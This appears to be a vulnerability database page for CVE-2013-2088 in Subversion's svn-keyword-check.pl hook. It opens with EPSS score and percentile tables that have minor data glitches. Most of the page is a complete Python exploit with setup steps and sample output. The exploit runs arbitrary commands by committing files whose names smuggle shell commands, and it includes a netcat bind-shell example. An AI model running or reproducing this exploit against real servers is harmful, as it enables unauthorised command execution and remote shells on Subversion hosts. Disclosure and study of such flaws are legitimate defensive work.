CVE-2013-2088 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	19.58%	–	–
2022-04-03	–	–	19.58%	–	–
2023-01-08	–	–	18.2%	–	–
2023-03-12	–	–	–	1.74%	–
2023-04-30	–	–	–	1.84%	–
2023-05-07	–	–	–	1.84%	–
2023-05-28	–	–	–	1.84%	–
2024-02-11	–	–	–	1.84%	–
2024-02-18	–	–	–	1.54%	–
2024-06-02	–	–	–	1.54%	–
2024-06-02	–	–	–	1.54%	–
2024-08-25	–	–	–	1.89%	–
2024-10-27	–	–	–	2%	–
2025-03-02	–	–	–	1.77%	–
2025-01-19	–	–	–	2%	–
2025-03-09	–	–	–	1.77%	–
2025-03-18	–	–	–	–	5.03%
2025-03-18	–	–	–	–	5.03,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	94%
2022-04-03	96%
2023-01-08	96%
2023-03-12	86%
2023-04-30	87%
2023-05-07	86%
2023-05-28	87%
2024-02-11	88%
2024-02-18	87%
2024-06-02	87%
2024-06-02	87%
2024-08-25	89%
2024-10-27	89%
2025-03-02	88%
2025-01-19	89%
2025-03-09	88%
2025-03-18	89%
2025-03-18	89%

# This is an exploit for the subversion vulnerability published as CVE-2013-2088. # Author: GlacierZ0ne (kai@ktechnologies.de) # Exploit Type: Code Execution # Access Type: Authenticated Remote Exploit # Prerequisites: svn command line client available, # subversion server exposes webdav through apache, # user/password with commit privilege # The exploit has been tested with the following software: # * subversion 1.6.6 server on Ubuntu 10.06 server 64-bit # * subversion 1.6.12 (r955767) on Ubuntu 11.10 server 32-bit # * subversion client version 1.8.8 (r1568071) on Ubuntu 14.04 64-bit # The following conditions need to be met in order for this to work: # The pre-commit script svn-keyword-check.pl needs to be configured as # pre-commit hook. The version shipped with the subversion 1.6.6 contains # a bug which prevents it from being used at all. This bug must be fixed # (otherwise neither the exploit, nor the intented purpose of the script # will work) # This perl script can be downloaded from the archive source distribution # at http://archive.apache.org/dist/subversion/. Scripts before 1.6.23 # are vulnerable. # ############################################################### # 1. configure the pre-commit hook to use svn-keyword-check.pl # ############################################################### # Copy the svn-keyword-check.pl from the source distribution to the # /svn/repos/<your repository>/hooks directory. Rename pre-commit.tmpl # to pre-commit. Make sure both files are owned by the user running # apache (e.g. www-data) and have the executable flag set: # # notroot@ubuntu:/$ cd /svn/repositories/testrepo/hooks # notroot@ubuntu:/svn/repos/testrepo/hooks$ sudo mv pre-commit.tmpl pre-commit # notroot@ubuntu:/svn/repos/testrepo/hooks$ sudo chmod +x pre-commit # notroot@ubuntu:/svn/repos/testrepo/hooks$ ls -al # total 76 # drwxr-xr-x 2 www-data www-data 4096 2016-09-30 13:35 . # drwxr-xr-x 7 www-data www-data 4096 2016-09-05 16:28 .. # -rw-r--r-- 1 www-data www-data 2000 2016-09-05 15:23 post-commit.tmpl # -rw-r--r-- 1 www-data www-data 1663 2016-09-05 15:23 post-lock.tmpl # -rw-r--r-- 1 www-data www-data 2322 2016-09-05 15:23 post-revprop-change.tmpl # -rw-r--r-- 1 www-data www-data 1592 2016-09-05 15:23 post-unlock.tmpl # -rwxr-xr-x 1 www-data www-data 604 2016-09-30 13:32 pre-commit # -rw-r--r-- 1 www-data www-data 609 2016-09-05 19:10 pre-commit.tmpl # -rw-r--r-- 1 www-data www-data 2410 2016-09-05 15:23 pre-lock.tmpl # -rw-r--r-- 1 www-data www-data 2796 2016-09-05 15:23 pre-revprop-change.tmpl # -rw-r--r-- 1 www-data www-data 2100 2016-09-05 15:23 pre-unlock.tmpl # -rw-r--r-- 1 www-data www-data 2830 2016-09-05 15:23 start-commit.tmpl # -rwxr-xr-x 1 www-data www-data 8340 2016-09-30 13:35 svn-keyword-check.pl # notroot@ubuntu:/svn/repos/testrepo/hooks$ # According to the subversion documentation, svn-keyword-check.pl needs # to be called by pre-commit. svn-keyword-check.pl will return 1 if it # detects something that should prevent the commit. In that case, the # subversion server will cancel the commit. Here's how pre-commit looked # on my test server: # notroot@ubuntu:/svn/repos/testrepo/hooks$ cat pre-commit # #!/bin/sh # REPOS="$1" # TXN="$2" # # Make sure that the log message contains some text. # #jSVNLOOK=/usr/bin/svnlook # $SVNLOOK log -t "$TXN" "$REPOS" | \ # ep "[a-zA-Z0-9]" > /dev/null || exit 1 # # # Exit on all errors. # set -e # # # Check the files that are are listed in "svnlook changed" (except deleted # # files) for possible problems with svn:keywords set on binary files. # "$REPOS"/hooks/svn-keyword-check.pl --repos $REPOS --transaction $TXN # # # # # # # # # All checks passed, so allow the commit. # exit 0 # # ############################################################### # # 2. fix the bug in svn-keyword-check.pl # # ############################################################### # The script pre-commit will pass on repository and transaction to # the script svn-keyword-check.pl. Alternatively, it also accepts # repository and revision. However, specifying both transaction # and revision is illegal, only one of them is considered legal. # This reflects in the input parameter plausibility check # performed in line 89: # # if (defined($transaction) and !defined($revision)) { # croak "Can't define both revision and transaction!\n"; # } # # Unfortunately, there is an exclamation mark too much. It must # be # # if (defined($transaction) and defined($revision)) { # croak "Can't define both revision and transaction!\n"; # } # # The way this script is shipped in the 1.6.6 source distribution # no commit is possible at all. # # Before using the exploit you should first commit one file # manually so that the svn client can store your user/password # locally. # # Then, open a shell and navigate to the directory of your project # and start python cve-2013-2088-1.py <command>: # # kai@KTEC64:~/eworkspace/kais_1_project$ python svn_exploit2.py ifconfig # [+] Randfilename is mJHeSkya # [+] Created random file # [+] Submitted random file to version control # [+] Created fake file for cmd execution # [+] Exploit seems to work: # # eth0 Link encap:Ethernet HWaddr 00:0c:29:08:a3:1a # inet addr:192.168.26.136 Bcast:192.168.26.255 Mask:255.255.255.0 # inet6 addr: fe80::20c:29ff:fe08:a31a/64 Scope:Link # UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 # RX packets:1060 errors:0 dropped:0 overruns:0 frame:0 # TX packets:806 errors:0 dropped:0 overruns:0 carrier:0 # collisions:0 txqueuelen:1000 # RX bytes:172042 (172.0 KB) TX bytes:136684 (136.6 KB) # # lo Link encap:Local Loopback # inet addr:127.0.0.1 Mask:255.0.0.0 # inet6 addr: ::1/128 Scope:Host # UP LOOPBACK RUNNING MTU:16436 Metric:1 # RX packets:0 errors:0 dropped:0 overruns:0 frame:0 # TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 # collisions:0 txqueuelen:0 # RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) # # kai@KTEC64:~/eworkspace/kais_1_project$ python svn_exploit2.py id # [+] Randfilename is WmolHiuv # [+] Created random file # [+] Submitted random file to version control # [+] Created fake file for cmd execution # [+] Exploit seems to work: # # uid=33(www-data) gid=33(www-data) groups=33(www-data) # # # Important things to notice # * For each command execution the exploit will put a file under # version control. If you submit a lot of commands you will # create a lot of files with random 8 alphanumeric character # file names in your repository. # * Your command must not contain a / since file names must not # contain a /. In the author's test environment the current # working directory of apache was the root folder /. # Therefore, the exploit will replace / in the command with # $(pwd). This worked fine for the author. # In your environment this might be different. As first thing # execute $(pwd) in order to check if this works for you, too. # * The command execution assumes that your command prints something # to the terminal and exits. If you know your command will not # immediately terminate (e.g. because you're starting a reverse/ # bind shell), provide the -d or --dont-terminate flag: # python svn_exploit2.py -d "/bin/bash 0</tmp/mypipe | nc -l 192.168.1.100 4444 1> /tmp/mypipe" # # # import sys import subprocess import argparse import random import os if __name__ == "__main__": lowerupper = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" slash_replacement = "$(pwd)" cwd = os.getcwd() parser = argparse.ArgumentParser (usage="python {} [options] command".format (sys.argv [0]), epilog="\x0a\x0a") parser.add_argument (dest="command", help="Command to execute") parser.add_argument ("-d", "--dont-terminate", help="don't force output be sent back to the client. Useful for reverse shell connections.", action="store_true") # # args handling # if (len(sys.argv) <= 1): parser.print_help () sys.exit (0) args = parser.parse_args () if not args.command: parser.print_help () sys.exit (0) # # / cannot be used in the command because svn will interprete it as # file separator. Therefore you have to use a workaround. Here, # $(pwd) works great for us. # command = args.command if command.find ("/") != -1: command = command.replace("/", slash_replacement) # # prepare output files for stdout, stderr # sout = open ("stdout", "w+") serr = open ("stderr", "w+") randfilename = "" for idx in range (0, 8): randfilename = randfilename + lowerupper [random.randint (0,51)] print ("[+] Randfilename is {}".format(randfilename)) f = open (randfilename, "w+") f.write ("You've been pwned by GlacierZ0ne'") # write 4 f.flush () f.close () p = subprocess.Popen (["svn", "add", "./{randfilename}".format (randfilename=randfilename)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) c = p.communicate () sout.write (c[0]) if len(c[1]) > 0: print ("[-] Create random file failed:") print (c[1]) sys.exit (0) print ("[+] Created random file") p = subprocess.Popen (["svn", "commit", "-m", "I pwned you", "./{randfilename}".format (randfilename=randfilename)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) c = p.communicate () sout.write (c[0]) if len(c[1]) > 0: print ("[-] Submission of random file failed:") print (c[1]) sys.exit (0) print ("[+] Submitted random file to version control") fakefilename = None if args.dont_terminate == True: fakefilename = "{}; {}".format (randfilename, command) else: fakefilename = "{}; {} 1>&2; exit 1".format (randfilename, command) f = open (fakefilename, "w+") f.write ("You've been pwned by GlacierZ0ne") # write 4 f.flush () f.close () p = subprocess.Popen (["svn", "add", "{fakefilename}" .format (cwd=cwd, fakefilename=fakefilename)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) c = p.communicate () sout.write (c[0]) if len(c[1]) > 0: print ("[-] Creation of fake file failed:") print (c[1]) sys.exit (0) print ("[+] Created fake file for cmd execution") p = subprocess.Popen (["svn", "commit", "-m", "I pwned you", "{fakefilename}" .format (cwd=cwd, fakefilename=fakefilename)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) c = p.communicate () sout.write (c[0]) if len(c[1]) == 0: if not args.dont_terminate: print "[-] Something went wrong, pre-commit hook didn't kick in." else: print "[!] Done" sys.exit (0) else: idx0= c[1].find ("Commit blocked by pre-commit hook") idx = c[1].find ("failed with this output") if idx0 != -1 and idx != -1: print ("[+] Exploit seems to work: ") print (c[1][idx + len("failed with this output") + 1:]) sout.flush () sout.close () serr.flush () serr.close ()